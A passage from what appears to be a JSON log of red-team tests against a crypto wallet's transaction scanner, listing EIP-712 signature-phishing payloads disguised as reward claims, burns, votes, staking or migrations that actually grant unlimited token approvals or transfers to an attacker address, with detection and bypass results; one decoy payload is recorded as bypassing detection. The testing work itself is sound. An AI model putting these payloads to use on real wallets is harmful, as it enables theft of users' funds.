"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T17:06:31.349Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T17:06:40.533Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T17:06:49.731Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T17:06:59.074Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T17:07:08.242Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T17:07:17.511Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T17:07:26.874Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T17:07:36.062Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T17:07:45.235Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T17:07:54.483Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T17:08:03.649Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T17:08:12.857Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T17:08:22.063Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T17:08:31.262Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T17:08:40.452Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T17:08:49.661Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN23-EIP3009-022", "timestamp": "2026-01-31T17:08:58.855Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x103167577ed93dd03998f2dd7a5d055e9573267f59461800b7946f4a477e4d61\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN23-EIP3009-054", "timestamp": "2026-01-31T17:09:05.424Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xe0a8f82f2cb4da79f95d0646ceca3b7a20aa3ab2dea74e11fcaa465450abfdb2\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T17:09:14.913Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ 